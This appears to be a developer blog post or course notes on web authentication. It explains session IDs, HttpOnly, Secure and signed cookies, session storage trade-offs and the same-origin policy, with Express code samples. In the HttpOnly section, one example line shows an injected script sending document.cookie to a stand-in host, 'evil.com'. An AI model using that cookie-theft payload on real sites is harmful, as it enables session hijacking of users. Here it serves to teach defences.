Cookies, Sessions & the Anatomy of Web Authentication

March 5, 202612 min read
web securityauthenticationcookiesCSRFXSSsecurity headersprivacyHTTPS

🔑 Sessions & HttpOnly — Separating Identity from the Cookie

Why Sessions Exist

Even if you encrypt the username before storing it in a cookie, you haven't actually solved the problem — you've just made it slightly harder. If an attacker gets the encrypted value, they still have something they can replay. And now every compromised user has to change their password. Worse, you might not even know you've been exploited for days.

Sessions solve this with a layer of indirection. Instead of storing who you are in the cookie, the server generates a unique, random session ID tied to your identity on the server side. The cookie holds only that ID — a meaningless string to anyone who gets it without the server's session store.

"We're going to create a unique identifier for this session that is tied to you."

The practical upside — which you've seen in Gmail and other apps — is that you can see all active sessions and revoke individual ones without resetting your password. Someone logged in from the Netherlands that isn't you? Kill that session. Forgot to log out at a library computer? Kill that session. Your actual credentials stay untouched.


🚫 The JavaScript Cookie Problem — Enter HttpOnly

Before fixing the session architecture, there's a more immediate problem: even with a session ID in the cookie, if JavaScript can read document.cookie, an attacker who manages to run code on your page can just grab it.

// An attacker's injected script can do this: fetch('https://evil.com/steal?cookie=' + document.cookie);

This applies to localStorage too — it's not a safe haven. If JavaScript can run on the page, JavaScript can read local storage. Same problem, different API.

The fix is the HttpOnly flag. Setting it tells the browser: this cookie should never be accessible to JavaScript at all.

// Setting HttpOnly in Express when the cookie is created res.cookie('username', username, { httpOnly: true });

After this is set, document.cookie returns undefined for that cookie. The cookie is still sent on every HTTP request automatically — the browser handles that — but client-side JavaScript can never touch it. An XSS attack that steals cookies is now dead in the water for this cookie.

You can verify your cookies have this flag set in DevTools → Application → Cookies. There's a checkmark column for HttpOnly — worth auditing on any app you own.


🔒 The Secure Flag — HTTPS Only

HttpOnly stops JavaScript from reading the cookie. The Secure flag stops the cookie from being sent over unencrypted connections at all.

res.cookie('username', username, { httpOnly: true, secure: process.env.NODE_ENV === 'production' // only enforce on prod });

Without Secure, even with HttpOnly set, your cookie travels over the wire in plain text on HTTP. Someone sitting on the same coffee shop Wi-Fi can sniff network traffic and lift the cookie directly. Secure closes that gap by ensuring the cookie is only ever transmitted over HTTPS.

The common pattern Steve uses — and a practical one — is to tie Secure to the environment. You don't want to set up a local SSL cert just to develop, so secure: true only in production is a reasonable trade-off.

FlagWhat it blocks
HttpOnlyJavaScript reading the cookie via document.cookie
SecureCookie being sent over plain HTTP (non-HTTPS) connections

⚖️ Session Trade-offs Worth Knowing

Sessions aren't free. Steve surfaces a few real trade-offs:

  1. Rotating session IDs on every request — maximally secure (a stolen ID is only valid for one request), but creates state management headaches. What about multiple tabs? Multiple devices? A shared Netflix account?
  2. Storing sessions in a database — means every authenticated request involves a DB read. At scale, that's real infrastructure cost — dollars and cents in cloud storage and compute.
  3. You don't control the environment — if a bad cookie gets set, you're stuck with it until the user's browser clears it or you can force a new one. It's a smaller version of the same problem that makes service workers painful: you shipped something, and now it lives in someone else's browser.

"There are advantages to rotating session IDs. But then you've got state management issues on the database side. And that's literal dollars and cents cost."

The right answer depends on your threat model, your infrastructure, and how much complexity you can actually sustain.


Next up: Signing Cookies & Creating Sessions — how to cryptographically sign cookies to detect tampering, and how to wire up proper session management.


Suggested Title: Cookies, Sessions & the Anatomy of Web Authentication Subtitle: Everything a developer needs to know about how browsers remember who you are — and how attackers exploit it SEO Keywords: cookies web security, HTTP stateless sessions, cookie attributes security, HttpOnly Secure SameSite, session hijacking cookies, document.cookie javascript, cookie vulnerabilities explained


✍️ Signing Cookies & Creating Sessions — Tamper-Proofing Your Auth

What "Signing" Actually Means

Signing is a lightweight way to detect tampering — not full encryption, but proof of authenticity. Steve's TLDR on how it works:

"You have your value — the thing going back and forth. You have a secret thing that only you know. Put them in the blender together and you get a result that, if they don't have the secret, they cannot reproduce."

In practice: the signed cookie contains both the value and a hash of that value combined with your secret. If an attacker changes the cookie value, they can't regenerate a valid hash without the secret. The server checks both, sees they don't match, and rejects the request.

// Pass the secret as the first argument to cookie-parser const cookieSecret = 'your-secret-here'; // ⚠️ don't hardcode in real apps app.use(cookieParser(cookieSecret)); // When setting the cookie, mark it as signed res.cookie('username', username, { httpOnly: true, signed: true, secure: process.env.NODE_ENV === 'production' });

Once signed cookies are enabled, you access them via req.signedCookies instead of req.cookies. If the signature doesn't match, the value comes back as false — the request is automatically invalidated.

// Unsigned cookies const user = req.cookies.username; // Signed cookies — returns false if tampered with const user = req.signedCookies.username;

🔐 Where to Store the Cookie Secret

This is where Steve gets emphatic. Never hardcode the secret in your source code. Three scenarios where that goes badly:

  1. You push to a repo — everyone with access now has your secret
  2. An attacker finds an exploit that exposes source code — they have your secret
  3. A disgruntled former employee walks out — they have your secret

The progression of better options:

Storage MethodWhen to Use
Hardcoded in codeNever (demo only)
Environment variableGood starting point — different values per environment
AWS KMS / cloud key managementDistributed systems, multiple servers, secret rotation

Environment variables also let you have different secrets for staging vs production, so a leak in one environment doesn't compromise the other.


🪪 Not All Cookies Need to Be Signed

An important nuance: signing is opt-in per cookie. If you're storing something like a dark mode preference that JavaScript legitimately needs to read, you might intentionally leave that cookie unsigned and non-HttpOnly. That's fine — the goal is to apply the right settings to the right cookies, not to apply maximum restrictions everywhere.

The cookies that absolutely should be signed: anything tied to authentication or authorization.


🏗️ Building a Proper Session

Signing the cookie still leaves the username visible in plain text — anyone can see it, they just can't change it. The next step is to hide the identity entirely behind a session ID.

The architecture is:

  1. User logs in → server generates a random session ID
  2. Session ID + username stored in the database
  3. Only the session ID goes in the cookie
  4. On subsequent requests, server looks up the session ID → finds the user → serves the page
const crypto = require('crypto'); // Generate a random, unique session ID const generateSessionId = () => crypto.randomBytes(16).toString('hex'); // Returns something like: "a3f2c1d9e8b7a6f5c4d3e2f1a0b9c8d7"

Using crypto.randomBytes from Node's built-in crypto module gives you cryptographically random data — important so session IDs can't be guessed or predicted. 16 bytes in hex gives 32-character strings with enough entropy to make collisions practically impossible. (Two users getting the same session ID would be a security vulnerability you'd own entirely.)

// On login — store the session, set only the ID in the cookie const sessionId = generateSessionId(); await db.run( 'INSERT INTO sessions (sessionId, username) VALUES (?, ?)', [sessionId, user.username] ); res.cookie('sessionId', sessionId, { httpOnly: true, signed: true }); // On protected routes — look up the session const sessionId = req.signedCookies.sessionId; if (!sessionId) return res.redirect('/login'); const session = await db.get( 'SELECT * FROM sessions WHERE sessionId = ?', [sessionId] );

Now the cookie contains a random opaque string. Even if someone reads it, it tells them nothing about who the user is. And because it's signed, they can't tamper with it either.


💡 What Sessions Unlock (Beyond Security)

Sessions aren't just a security measure — they're also the mechanism behind features you use every day:

  1. Remote session termination — "Sign out all other devices" in Gmail. Now possible because sessions are separate objects in the database. You can delete specific ones without affecting others or requiring a password change.
  2. Pre-login cart persistence — Create a session before the user logs in, attach cart items to it, then link the session to their account when they authenticate.
  3. Incident response — If you detect a breach, you can nuke all sessions in the database and force everyone to re-authenticate. With plain username cookies, you'd have no equivalent lever.

"Should the worst happen, you have the mechanisms in place to actually protect yourself. Sometimes it's not about making sure no one breaks in — it's having the ability to respond when they do."


🗄️ Session Storage Options & Their Trade-offs

Where you store sessions on the server matters a lot at scale:

StorageProsCons
In-memory (JS object)Fast, simpleDies on restart, breaks with multiple servers
Database (SQLite/Postgres)Persistent, queryableExtra DB read per request, needs cleanup cron
RedisFast, built-in TTL/expiryExtra infrastructure to manage

For a single-server app, in-memory is fine. For anything serverless or multi-instance, you need external storage — otherwise two requests to different servers won't share session state.


Next up: Same Origin Policy & Cookie Vulnerabilities — the rule that governs cross-origin requests, and the remaining attack surface on cookies.


🌍 Same Origin Policy & Cookie Vulnerabilities — The Rule That Holds the Web Together

What "Origin" Actually Means

The Same Origin Policy is the foundational security rule of the web. An origin is a triple of three things:

  1. Protocol (http vs https vs ftp)
  2. Host (the full domain including subdomains — app.example.comexample.com)
  3. Port (:3000:4000)

If any of those three things differ between two URLs, they are different origins. The browser will restrict what one origin can do to another — reading responses, accessing cookies, making certain requests — by default.

"You would think 'origin' and 'site' are the same thing. Same-site and same-origin mean two different things. And that's one of the first places where little nuances can mean everything."

This distinction between site and origin will matter a lot when we get to CSRF attacks and the SameSite cookie attribute — so plant that flag now.


📜 The Dark History of Workarounds

Before CORS, developers got creative (badly) with ways around the same origin policy:

  1. JSONP (JSON with Padding) — exploited the fact that <script> tags aren't subject to the same origin policy. Worked, but terrible for security.
  2. document.domain — you could actually set document.domain in JavaScript to declare yourself part of a different domain. The idea was that both sites had to opt in, so it seemed safe. The problem: anyone could opt in. One extra second of thought and the idea collapses.
  3. WebSockets — have their own separate origin handling.

CORS is the accepted, standardized solution. Rather than a burden, think of it as a reasonable mechanism for explicitly granting cross-origin access where you actually want it — while blocking everything else by default.


🍪 Cookies: The Most Attacked, Most Protected Thing on the Web

Here's the reassuring part of this section. Cookies feel scary because they show up in nearly every major security incident. But precisely because they're so critical and so frequently targeted, they've accumulated more protections than almost anything else in the browser:

ProtectionWhat it does
HttpOnlyBlocks JavaScript from reading the cookie
SecureBlocks transmission over plain HTTP
SameSiteRestricts cross-site sending (covered in CSRF section)
SigningDetects tampering without the secret
SessionsRemoves identity from the cookie entirely

Browsers like Chrome, Firefox, and Safari have also unilaterally changed cookie defaults over the years — sometimes breaking the web in the process — specifically to close security gaps. That's how seriously they take it.

The bottom line: if a cookie gets compromised, it's going to hurt. But you have more tools to prevent that than with almost any other attack surface. Stack them.


Next up: Session Hijacking & Injection — privilege escalation, SQL injection, and what happens when attackers get creative with your inputs.